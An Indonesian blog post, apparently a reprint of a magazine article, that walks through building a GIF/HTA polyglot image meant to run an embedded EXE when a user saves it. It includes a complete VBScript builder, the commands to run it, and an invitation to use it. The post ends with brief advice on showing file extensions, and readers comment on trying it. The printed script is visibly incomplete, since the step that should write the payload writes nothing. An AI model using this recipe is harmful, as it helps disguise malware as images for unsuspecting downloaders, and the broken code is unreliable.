Jumat, 12 Agustus 2011

JEBAKAN FILE GIF


Tentu Anda pernah mendengar saran dari seseorang teman atau ahli untuk tidak mengunjungi suatu situs yang tidak jelas asal usulnya. Apalagi situs yang berbau porno. Mengapa ?  disinyalir bahwa situs tersebut dapat membawa bahaya bagi kesehatan komputer Anda. Karena dapat menyisipkan suatu program nakal, semacam trojan atau malware lainnya.  Bagaimana bisa komputer kita terinfeksi hanya dengan mengunjungi situs tersebut ?  Salah satunya adalah melalui media gambar yang ada di situs tersebut atau gambar yang dapat di download dari situs tersebut. 
Kebanyakan pemakai komputer jika sedang berkunjung ke situs X tentu akan melihat file gambar. Dan ditindak lanjuti dengan mendownloadnya. Nah ! Disinilah bahayanya. File gambar yang kita simpan dapat saja disisipi oleh malware. 

Artikel berikut ini akan menunjukkan cara kerja atau tepatnya pembuatan file gambar yang mengandung bahaya tersebut.  Artinya file gambar akan kita gabungkan dengan suatu file execute. Anda akan melihat bahwa pembuatannya ternyata tidak sesulit yang dibayangkan. Bahkan penggabungan dilakukan dengan “sekadar skrip VBS” yang kerap kita remehkan.

Skrip VBS
VBS  (Visual Basic Script) memang berguna.  Karena dengan bantuannya otomatisasi kegiatan pemakaian komputer dapat kita rangkai dan jalankan, layaknya suatu program serius, sehingga memudahkan pekerjaan kita.
Tentunya kita tahu bahwa VBS ini sering juga disalahgunakan untuk membuat suatu program jahat yang dikenal dengan sebutan virus atau malware.
Skrip yang akan kita telaah ini akan menunjukkan cara menggabungkan file gambar dengan format GIF (Graphics Interchange Format) dengan suatu file EXE. 

Sekilas file GIF
File GIF terdiri dari serangkaian paket data, dikenal dengan sebutan block. Ada sejumlah kategori blok data yang berbeda.  Dalam terminologi GIF, Graphics Control Extension Blocks adalah jenis blok pengontrol grafik. Plain Text Extension blocks dan  Local Image Descriptor termasuk jenis blok rendering grafik. Bitmap data adalah blok Image Data. Comment Extension dan Application Extension block adalah jenis blok untuk tujuan khusus,
Secara teknis terdapat dua jenis format file GIF, yaitu  GIF87a  dan  GIF89a.
GIF87a adalah format asli untuk  image warna index.   indexed color images.  Jenis ini memakai kompresi  LZW dan mempunyai pilihan interlaced.
GIF89a juga mempunyai spesifikasi yang sama dengan GIF87a, namun disertai kemampuan transparansi dan animasi.
Pada praktek nanti tidak semua file GIF dapat dikenai manipulasi yang akan dilakukan.  Yang dapat dimanipulasi hanyalah versi GIF89a. Mengapa ?  Karena trik yang akan dikerjakan akan memanipulasi bagian Comment Extension Block yang hanya ada pada versi GIF89a.  Lihat gambar.




Gambar : Layout file GIF87a yang merupakan versi lama file GIF



Gambar : Layout file GIF87a yang merupakan versi terkini file GIF.


Perlu dicatat, meski kita telah memakai file GIF dengan versi GIF89a, nanti terkadang masih juga bermasalah.  Artinya proses penggabungan file GIF dengan file EXE tidak dapat berjalan dengan baik. Sehingga tidak ada pilihan lain kecuali melakukan uji coba secara trial and error untuk menggabungkannya.


Bedah skrip HIDE.VBS

Anggap saja skrip yang digunakan untuk melakukan proses penggabungan data bernama HIDE.VBS. Jabaran ringkas isi dari skrip VBS tersebut adalah seperti uraian di bawah ini.
Pada awal skrip akan disebutkan deklarasi data yang dibutuhkan oleh program. Juga akan memeriksa kebenaran argumen pemakaian program. Penggalan listingnya adalah sebagai berikut :

Option Explicit
Dim data,p,i,f,file,ub,ts,pic_buf,pic,args,x
set args=WScript.Arguments
If args.Count<>2 Then
  WScript.Echo "Please type the following: cscript.exe hide.vbs your.gif your.exe"
  WScript.Quit
End If
pic=args(0)
file=args(1)
Dim o:Set o=CreateObject("Scripting.FileSystemObject")
Dim s:Set s=CreateObject("WScript.Shell")

Selanjutnya, skrip pembuatam file  pun dimulai.  Ia akan membaca file GIF terlebih dahulu. Kemudian header file dari file GIF akan di manipulasi. Bagian header yang di manipulasi adalah bagian Comment extension block. Skrip akan menghilangkan tanda 3B hex yang merupakan tanda akhir dari file GIF.

Set f=o.CreateTextFile(pic&".hta.gif",2)
WScript.Echo "Processing "&pic&" ..."
pic_buf=RSBinaryToString(ReadBinaryFile(pic))
f.Write Left(pic_buf,len(pic_buf)-1)

Skrip dilanjutkan dengan pembuatan blok tag baru dengan menuliskan kode 21 hex. Diikuti dengan tag comment dengan kode FE hex dan panjang dari subblok dengan kode FF hex.

f.Write chr(Int("&H21"))
f.Write chr(Int("&HFE"))
f.Write chr(Int("&HFF"))

Sesudah “tempat kosong” tersebut disiapkan, barulah skrip vbscript dituliskan. Sehingga posisi skrip tersebut berada di bagian comment yang baru saja di manipulasi.

f.WriteLine ""
f.Write chr(Int("&H00"))
f.Write chr(Int("&H3B"))
f.Close
Set x=o.GetFile(pic&".hta.gif")
WScript.Echo "Created "&chr(34)&pic&".hta.gif"&chr(34)&" (bytes="&x.Size&")"

Dalam bekerja skrip ini memakai beberapa modul fungsi skrip sebagai berikut :

* Fungsi AsciiToHex digunakan untuk mengubah string ASCII menjadi array numerik hex.

Function AsciiToHex(sData)
    Dim i, aTmp()
    ReDim aTmp(Len(sData) - 1)
    For i = 1 To Len(sData)
      aTmp(i - 1) = Hex(Asc(Mid(sData, i)))
    Next
    ASCIItoHex = aTmp
End Function

* Fungsi RSBinaryToString digunakan untuk mengonversi string dengan memakai recordset ADO.

Function RSBinaryToString(xBinary)
    Dim Binary
    If vartype(xBinary)=8 Then Binary = MultiByteToBinary(xBinary) Else Binary = xBinary
    Dim RS, LBinary
    Const adLongVarChar = 201
    Set RS = CreateObject("ADODB.Recordset")
    LBinary = LenB(Binary)
    If LBinary>0 Then
      RS.Fields.Append "mBinary", adLongVarChar, LBinary
      RS.Open
      RS.AddNew
      RS("mBinary").AppendChunk Binary
      RS.Update
      RSBinaryToString = RS("mBinary")
    Else
      RSBinaryToString = ""
    End If
End Function

* Fungsi ReadBinaryFile digunakan untuk membaca file binner.

Function ReadBinaryFile(FileName)
    Const adTypeBinary = 1
    Dim BinaryStream : Set BinaryStream = CreateObject("ADODB.Stream")
    BinaryStream.Type = adTypeBinary
    BinaryStream.Open
    BinaryStream.LoadFromFile FileName
    ReadBinaryFile = BinaryStream.Read
    BinaryStream.Close
End Function

Untuk memakai skrip ini, maka kita harus mengaksesnya via command prompt.  Dan memberikan perintah dengan sintaks :  CSRIPT hide.vbs namafile.gif namafile.exe


Praktik lapangan
Untuk melihat bagaimana sebenarnya skrip ini beraksi, kita akan praktik. Sebelumnya dibutuhkan beberapa persiapan sebagai berikut.

* Membuat folder baru
Membuat folder baru untuk praktik sebaiknya dilakukan.  Hal ini untuk mempermudah proses penggabungan yang akan dilakukan. Misalnya folder ini kita beri nama TEST dan diletakkan di drive C. Pembuatan folder baru ini  dapat dilakukan dengan bantuan Windows Explorer.  Panggil Windows Explorer dan pada panel sebelah kanan lakukan klik kanan sehingga menu konteks muncul.  Lalu pilih New-Folder. Ketik TEST dan tekan Enter. Folder TEST akan terbentuk.



Gambar  : membuat folder baru di drive C dengan nama TEST

Yang pertama kali kita masukkan pada folder in tentu saja adalah file skrip HDE.VBS yang telah dibentuk dari uraian di atas. 


* Menyiapkan file GIF
Cari dan siapkan file gambar dengan format  GIF89a.  Kita dapat mencari sembarang file gambar GIF ini di internet.  Dapat dilakukan dengan bantuan Google dengan keyword pencarian : animated gif  file atau gif file, dll.  Setelah melakukan download file GIF, kita pastikan bahwa file tersebut memang berformat GIF89a. Caranya sederhana, panggil command prompt. Tekan Windows+R, saat jendela Run muncul ketik : CMD dan tekan Enter.  Jendela command prompt akan muncul. 
Pergilah ke folder dimana file yang telah di download berada. Misalnya file tersebut bernama a.gif,  maka ketikkan perintah sebagai berikut :

Type a.gif

Jajaran data aneh akan tampil.  Perhatikan,  di bagian paling awal data akan terdapat informasi bahwa file adalah GIF89a.



Gambar  : memeriksa jenis file format gif dengan perintah Type dari command prompt.

Anggap saja kita telah mendapatkan dua file GIF dengan format GIF89a dan diberi nama A.gif dan B.gif. Kita simpan di folder TEST.

* Menyiapkan file EXE
Sembarang file EXE dapat kita ambil.  Disarankan file exe dengan ukuran yang kecil saja.  Untuk gampangnya, kita dapat mengambil file msheart.exe atau calc.exe milik windows.  File ini ada difolder Windows, tepatnya di : \WINDOWS\system32.  Kopi dan simpan file-file tersebut ke folder TEST.


 
Gambar  : folder test telah berisi data-data yang siap digabungkan

* Melakukan penggabungan
Panggil jendela RUN dengan menekan tombol Windows+R.  Pada saat jendela run muncul, ketik : CMD atau command. Dan tekan enter. Jendela command prompt akan muncul.


Gambar  : memanggil command prompt via Run


Lalu pergilah ke folder c:\test.  Pada contoh ini karena sistem operasi Windows berada di drive C, maka diberikan perintah :

D:\>c:  (tekan enter)

Untuk berpindah ke drive C.  kemudian masuk ke folder test dengan perintah :

C:\>cd\test (tekan enter)

Dengan perintah tersebut maka kita telah berhasil ke folder TEST dimana file-file yang akan dimanipulasi berada.


Gambar  : berpindah ke folder test

Praktik pertama, kita akan menggabungkan file A.GIF dengan notepad.exe. maka perintah yang diberikan adalah : 

Cscript  hide.vbs a.gif calc.exe

Tekan enter maka proses pemnggabungan akan segera berjalan. Tunggulah, hingga proses selesai dilakukan. Sehingga akan muncul baru dengan nama  a.gif.hta.gif


Gambar  : proses penggabungan file a.gif dengan calc.exe.

Selanjutnya dengan cara yang sama gabungkan file B.GIF dengan msheat.exe. Perintah yang diberikan adalah :   

Cscript  hide.vbs b.gif msheart.exe

Jika kita benar dalam melakukannya maka akan terbentuk dua file baru, pada folder TEST, yaitu :  a.gif.hta.gif dan b.gif.hta.gif.


* Mengaktifkan file.
Buka Windows Explorer dan kita periksa folder TEST.  Seharusnya muncul dua file baru tersebut.  Jika kita jeli, akan terlihat bahwa file GIF asli akan langsung terlihat preview gambarnya sedangkan file hasil penggabungan tidak menampilkan gambar.
Kebetulan Windows Explorer yang dipergunakan memakai pilihan preview thumbnail.  Sehingga perbedaanya menjadi begitu kentara.  Jika mode tampilan Windows Explorer masih dalam setingan preview Detail maka akan sulit untuk membedakannya. 


Gambar  : dua file hasil gabungan berhasil dibuat

Aktifkan file hasil penggabungan (Misalnya file a.gif.hta.gif) dengan Internet Explorer (IE). Jika IE bukanlah browser default, maka pakailah  perintah  open with.  Tekan SHIFT dan klik kanan pada file tersebut, pilih Open with dan pilih Internet Explorer. Jika kita benar dalam melakukannya maka gambar akan ditampilkan oleh IE secara sempurna. 


Gambar  : file gambar hasil penggabungan tampil dengan sempurna dilihat dengan IE.


Gambar yang menawan ini sepintas memang terlihat normal dan seolah tidak berbahaya.  Tapi ia akan berbahaya jika kita ambil dan simpan. (download). Kita simpan Gambar  tersebut, dengan mengklik kanan pada gambar dan pilih SAVE AS. 


Gambar  : menyimpan gambar dengan Save picture AS..

Kotak dialog penyimpanan akan muncul, jika kita klik Save maka file gambar akan disimpan.  Inilah bahayanya ! Mengapa ? Coba kita perhatikan, pada isian filename.  Nama file yang muncul secara otomatis adalah a.gif.   Padahal bukankah file tersebut seharusnya bernama a.gif.hta.gif ?
Jika kita tetap menyimpannya maka yang tersimpan adalah file a.gif.hta.  Dengan cara cerdik ini, maka pemakai komputer tidak akan menyadari, bahwa ia sebenarnya tidak menyimpan file gambar a.gif, tapi file jenis aplikasi HTML (HTA) yang bernama a.gif.hta.  Jika file tersebut dijalankan, maka akan aktiflah file EXE yang ada dalam gambar. Karena Windows melihat file yang dijalankan bukan berekstension gif tapi hta.



Gambar  : proses penyimpanan file yang berbahaya


Hal ini terjadi, karena secara default setingan Windows akan menyembunyikan file dengan  default ekstension.  Maka file akan terlihat dengan Windows explorer sebagai A.GIF tidak A.GIF.HTA.
Pada contoh kasus ini, kita cukup beruntung karena yang aktif sekedar program kalkulator dan mshearts.  Bagaimana jadinya jika file EXE tersebut adalah virus , keylogger atau trojan ?
Trik sederhana yang telah dibahas ini telah banyak memakan korban, terutama bagi pemakai komputer awam, yang pada umumnya ceroboh.


Saran

Untuk menghindari ancaman skrip di atas, beberapa hal sebaiknya dilakukan.

* Segera ubah setingan pada Folder Options, sehingga menjadi tidak standar.  Panggil Windows Explorer – Tools- Folder Options – View.  Hilangkan centang yang ada pada pilihan Hide extension for known file types. Lalu simpan setingan tersebut.  Dengan cara ini, maka Windows tidak akan menyembunyikan ekstension file standar (default), sehingga jenis ekstension file akan menjadi terlihat jelas.


Gambar  : Mengubah setingan folder options


* Pada saat kita tertarik pada suatu gambar, jangan sembarangan melakukan Save as pada gambar tersebut.  Telitilah terlebih dahulu. Karena siapa tahu file gambar tersebut bermasalah. Perhatikan, apa sebenarnya yang akan kita simpan.

* Untuk meminimalkan kejadian yang tidak mengenakkan, sebaiknya pergilah ke situs-situs normal saja. Hindari situs yang rawan dan tidak jelas.  Apalagi situs porno, dimana banyak gambar GIF melimpah.


Note :
Tulisan ini  telah dimuat di majalah CHIP, dengan bahasa yang berbeda dan telah  “diformalkan”.
Tulisan ini adalah versi aslinya !  Semoga berguna dan digunakan  :)

 


Listing skrip selengkapnya adalah sebagai berikut :

' credits   : cyber_flash@hotmail.com
' Ripped by : CyberSufi (www.cybersufi-online.co.cc)
' Usage     : cscript.exe hide.vbs your.gif your.exe


Option Explicit
Dim data,p,i,f,file,ub,ts,pic_buf,pic,args,x
set args=WScript.Arguments
If args.Count<>2 Then
  WScript.Echo "Please type the following: cscript.exe hide.vbs your.gif your.exe"
  WScript.Quit
End If
pic=args(0)
file=args(1)
Dim o:Set o=CreateObject("Scripting.FileSystemObject")
Dim s:Set s=CreateObject("WScript.Shell")
Set f=o.CreateTextFile(pic&".hta.gif",2)
WScript.Echo "Processing "&pic&" ..."
pic_buf=RSBinaryToString(ReadBinaryFile(pic))
' Remove end of gif hex tag 3B.
f.Write Left(pic_buf,len(pic_buf)-1)

' new block tag.
f.Write chr(Int("&H21"))

' Comment tag.
f.Write chr(Int("&HFE"))

' Panjang subblock
f.Write chr(Int("&HFF"))

' Start data vbscript
f.WriteLine ""

' End comment block.
f.Write chr(Int("&H00"))

' end gif tag.
f.Write chr(Int("&H3B"))

f.Close

Set x=o.GetFile(pic&".hta.gif")

WScript.Echo "Created "&chr(34)&pic&".hta.gif"&chr(34)&" (bytes="&x.Size&")"

' Ubah ASCII string data menjadi array hex numerik
Function AsciiToHex(sData)
    Dim i, aTmp()
    
    ReDim aTmp(Len(sData) - 1)
   
    For i = 1 To Len(sData)
      aTmp(i - 1) = Hex(Asc(Mid(sData, i)))
    Next
   
    ASCIItoHex = aTmp
End Function


'Konversi data binary  menjadi string - ADO Recordset
Function RSBinaryToString(xBinary)
    Dim Binary
    'MultiByte data must be converted To VT_UI1 | VT_ARRAY first.
    If vartype(xBinary)=8 Then Binary = MultiByteToBinary(xBinary) Else Binary = xBinary
    Dim RS, LBinary
    Const adLongVarChar = 201
    Set RS = CreateObject("ADODB.Recordset")
    LBinary = LenB(Binary)

    If LBinary>0 Then
      RS.Fields.Append "mBinary", adLongVarChar, LBinary
      RS.Open
      RS.AddNew
      RS("mBinary").AppendChunk Binary
      RS.Update
      RSBinaryToString = RS("mBinary")
    Else
      RSBinaryToString = ""
    End If
End Function


' Baca file Binary
Function ReadBinaryFile(FileName)
    Const adTypeBinary = 1
    Dim BinaryStream : Set BinaryStream = CreateObject("ADODB.Stream")
    BinaryStream.Type = adTypeBinary
    BinaryStream.Open
    BinaryStream.LoadFromFile FileName
    ReadBinaryFile = BinaryStream.Read
    BinaryStream.Close
End Function
 






4 komentar:

  1. mumet mas,..tapi pasti saya coba

    BalasHapus
  2. mas gmn agar command prompt dimulai dari C:\> kalo di cmd saya kok dimulai dari C:\Users\user>
    terimakasih penjelasannya

    BalasHapus
  3. Mas, sewaktu melakukan penggabungan kok tgk bisa ya di command promptnya. tulisannya "C:\test\hide.vbs(9, 17) Microsoft VBScript compilation error: Expected 'Then"

    BalasHapus